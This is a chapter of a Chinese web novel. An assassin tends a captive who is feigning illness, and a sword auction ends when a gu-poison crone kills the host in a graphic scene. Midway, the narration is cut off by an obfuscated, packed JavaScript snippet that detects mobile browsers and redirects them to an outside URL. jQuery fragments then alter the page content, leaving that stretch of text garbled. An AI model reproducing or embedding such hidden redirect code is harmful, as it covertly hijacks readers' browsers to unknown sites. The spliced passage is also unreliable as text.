15.青烟嶂 2

作品:《行刺疯批美人失败后被宠了

    指节在额心停留片刻,很快收了回来。


    她额间确实有些烫意,不过呼吸平稳,面色也未见发白,想来并无大碍。


    酷暑严寒、刀伤箭创,甚至缺胳膊断腿对暗卫来说都是寻常,只要还剩口气,就算不上大事。


    惊刃道:“歇一会就好了。”


    柳染堤柔若无骨地倒在木椅上,气若悬丝:“怎么可能只是发热呢,你瞧我这么虚弱,分明是快死了。”


    她说着又咳了几声,团扇拂过惊刃肩骨,轻轻一滑,抵在她心口的位置,戳了戳。


    “小刺客?”她唤道。


    惊刃的剑艺、暗器、毒术无一不是顶尖,可无字诏从来没教过,面对一个装病的人该怎么办。


    惊刃只觉得头疼。想来惊狐教她怎么揣测别人心思时,该多认真听听的。


    她只能道:“那该如何?”


    柳染堤眨眨眼,道:“我也不知,向来都是别人照顾我,从没有我照顾别人的道理。”


    惊刃:“……”


    真是不讲理。


    她们之间的关系有些微妙,刺杀者与被刺杀者,胜者与阶下囚,敌对亦或是暂时‘合作‘,秤的两端,始终难以平衡。


    “我去寻个医师?”她无奈道。


    柳染堤道:“才不要医师,我要荔枝、冰糕、绿豆糖、还有现熬的,加了冰块的酸梅汤。”


    ……这让她上哪找去?


    惊刃对这刁钻的要求难以理解。虽说她也没尝过这些,但想来应该和井水、树叶差不多味道。


    她道:“我见你面色如常,语气平稳,倒也不像是病入膏肓。”


    “你凶我,你恼我,”柳染堤道,“小刺客学坏了,竟然会顶嘴了。”


    团扇在心尖打着转,一圈又一圈。


    掂着扇柄的那只手,与扇骨一样玉白漂亮,如一枝缀着雨露的兰,叫人心底泛起点点滴滴的怜意。


    布鞋踩上惊刃的靴尖,顺着靴面,顺着脚背,向上攀,向上攀,柔柔缠上她的脚踝。


    布料摩挲,她听见雨滴滑过兰叶:


    “若是不扮扮可怜,露出一副柔弱样子,小刺客怎么会来哄我呢?”


    对弈总会有胜负,此局,柳染堤大获全胜。惊刃败下阵来,道:“我去找找。”


    她走出几步远,柳染堤还在后边喊:“记得回来哦,不许把我一人丢在这。”


    惊刃:“……”


    昨天潜入时,惊刃已将铸剑大会所在的围场摸透,换回影煞面容后,畅通无阻。


    四周侍从比“观武”时,多了三倍有余。


    一片黑衣间,偶有几抹白色,被小心翼翼地护在其中。


    惊刃扫过白衣人腰侧的玉佩,皱起眉心。


    她在巡队中,抓住顶着一对黑眼圈的惊狐,问道:“为何会有这么多药谷的人?”


    惊狐打了个哈欠:“防人呗。”


    “少庄主有令,此次藏珍重点要防两个人,一是天下第一,二则是蛊婆。”


    “蛊婆?”惊刃问道。


    惊狐道:“之前与你说过的,那位屡次三番,给嶂云庄旁支下蛊的垂暮老妪。”


    “她最后的消息断在东南河域,听说往锦绣门的镖行里撒了不少蛊虫,吓得商队不敢发车。”


    “蛊婆这名号,还是她们传开的。”


    蛊毒之术阴毒险恶,伤敌一千自损八百,除了赤尘教与无字诏暗卫,江湖上少有人修习。


    能令嶂云庄不惜花重金,请药谷姑娘们出山,想来是个极为棘手的存在。


    惊刃沉思片刻,道:“若无意外,先按原计划行事。”


    “我尽力在寒徵时激怒天下第一,若她不动,我会蒙面上台,毁剑、断柱、引起混乱。”


    惊狐斜睨她一眼:“那你此时不呆在柳姑娘身旁,这是干什么去?”


    惊刃道:“去给她寻荔枝、冰糕、绿豆糖和酸梅汤。”


    惊狐:“……啊?”


    片刻后,暗卫们看见影煞端着一大盘糖水甜糕,默默地穿过长廊。


    暗卫们:?


    真是稀奇啊,稀奇。


    回来时,柳染堤还瘫在木椅上,然后,小团扇一晃,极其自然地被塞到惊刃手里。


    惊刃手里突然多个东西,站姿都别扭了几分,皱眉看着柳染堤。


    瓷勺碰撞,叮铃作响。柳染堤托着下颌,一脸幸福:“谢谢小刺客。”


    不知是因为团扇的缘故,还是那一声“谢谢”,惊刃绷着脸,只闷声道:“嗯。”


    。


    在各个门派的兵器成交之后,“藏珍”终于来到了重头戏:


    十八件由嶂云庄名匠们,亲铸的传世之器。


    沉闷的鼓声压下喧嚣,容瑛着锦袍、戴玉冠,长袖一挥:“诸位,久等了!”


    估计是发现了柳染堤替换的粗剑烂弓,此刻抬上台的兵器,全都换了一批。


    柳染堤在内心啧了一声。


    继续喝茶。


    长弓、匕首、袖箭……不算顶级的珍品也被吹得天花乱坠,叫价声此起彼伏,很快便到了第十七位。


    “诸位,请肃静!在寒徵之前,嶂云庄还有一件至宝呈上。”


    容瑛翻过折页,看到宣纸上的名称后,微妙地停顿了一下:


    【俱寂】


    俱寂?她从未听说过这把剑,原定名录上明明是“菩提”,何时被改动了?


    侍从将剑匣抬上台,里面躺着一柄毫无纹饰,形制古朴的长剑。


    刃面漆黑无光,全无气韵。


    容瑛皱紧眉心,快速翻过一页,介绍处却只有一行孤零零的小字:【可断万剑】


    再无片语。


    退?怎么退?嶂云庄的脸面,一道道如有实质的视线,将她死死地钉在台上。


    容瑛咬牙瞎编:“此剑非金非铁,剑成之日神光冲霄,万剑齐喑,故以‘俱寂’为名。”


    “其威惊诧神鬼,可断万剑!”


    语罢,台下已有质疑声:“口说无凭!”


    “拿剑来。”容瑛一挥手,侍从连忙呈上一把寒光烁烁的名品刀剑。


    她将俱寂拔出一小截,而后握紧长剑,对其狠狠劈下。


    “铛!”虎口被震得发麻,长剑应声而断。众人爆发出一阵惊讶的低呼。


    容瑛精神一振,顾不得细想,连忙叫侍卫将长剑全呈上来。


    “铛、铛、铛。”


    价值千金、削铁如泥的精钢利刃,在“俱寂”面前,脆弱不过一片枯叶。


    残刃堆积,在脚边形成一座金属坟冢。


    “俱寂当真可断万剑!”


    “旷世神兵,嶂云庄名不虚传!”


    震耳欲聋的呐喊淹没了恐惧,管它哪里来的,能卖上天价就是好剑!


    容瑛满脸堆笑:“起拍价三千两!”


    “俱寂”价格


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401895|183989||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一路飙涨,最终,被锦娇以一万金天价拍下。


    容瑛拱手道:“锦小姐慧眼识珠,此剑当配英主。”


    “依惯例,神剑既得其主,当由铸师开刃祈福。有请‘俱寂’铸师登台!”


    声音洪亮,在围场回荡。


    无人应答。


    容瑛耐着性子,又喊了一遍:“请铸师上台!”


    依旧无人上台。


    乌云愈浓,隐有滚滚雷声。众人窃窃低语,容瑛的笑容有些挂不住了。


    就在她准备喊第三遍时,


    一阵缓慢、沉重的脚步声,从台侧最深的阴影里响起。


    -


    “俱寂”出场时,惊刃便察觉到了异样。


    她对庄中铸剑手法有所了解,那柄剑怎么看,都不像出自嶂云庄之手。


    不安感逐步累积,在脚步声响起时达到了顶峰,她下意识握剑,想赶往主子身侧。


    却忽然被人拽住了手臂。


    惊刃回头,柳染堤不知何时站起身,目光越过自己,遥遥望向高台。


    她声音里带着一种漫长的,爱恨难辨的底色,如同遇见一位久别的故人,抑或是恨之入骨的仇敌。


    “小刺客,不想死就别去。”


    柳染堤淡淡道:“那人的身上带着最少十种,能令人即刻毙命的蛊虫。”


    -


    阴影之中,显出一个佝偻矮小的身影,慢腾腾地,一步步走上高台。


    来人杵着拐棍,身上裹着一件宽大的灰布,边缘满是啮齿啃咬的痕迹。


    阴风掀开一角旧布,露出沟壑纵横,干裂开缝的面皮,一双深深凹陷的眼窝。


    她在那堆断剑旁停下,头颅转动,转过容瑛,转过台下众人,落在漆黑的“俱寂”上。


    容瑛莫名一寒,强笑道:“老人家,请──”


    “如此好剑……”


    垂暮老妪打断了她,嗓音里,带着一种令人毛骨悚然的平静:“需以血来开刃。”


    容瑛忽觉得喉咙一甜,


    喷涌而出,染透了前襟。


    她慢慢低下头,眼球之中,映出一只穿透了她的胸膛,枯瘦而苍白的手。


    “噗嗤!”


    手中的心脏仍在跳动,啪嗒、啪嗒,整个围场一片死寂,只有血滴落的声音。


    那一双满是不可置信的眼球,它随着尸身一同坠落,它沾满了血液,它沾满了溅起的尘灰。


    它仍睁着。


    它就这么看着——


    看着老妪举着心脏,如同举着一只热气腾腾的酒斛,敬向围场的最高处。


    金丝帘幕之后,容寒山死死扣住椅扶,指节泛白,茶盏滑落,瓷片在脚边溅开。


    老妪徐徐开口,干枯的声音之中,仍能听到清晰的,血珠坠地的声音。


    “容家这一代有三个孩子,哪怕不小心死了一个,也不打紧吧?”


    她顿了顿,忽地想起什么,轻轻“哦”了一声:“不对,数对不上。”


    “三个孩子,怎么算,也填不上你欠下的二十八条命啊。”


    她松开了手。


    眼球圆睁,它看着那一团血肉砸落在地,滚了两圈,不偏不倚,停在自己面前。


    一颗被剜离的心,一对干涸着惊骇的眼,相距不过咫尺,无声相望。


    “容庄主,这桩买卖不太公道。”


    “你说,这空出来的数,要用什么来补?”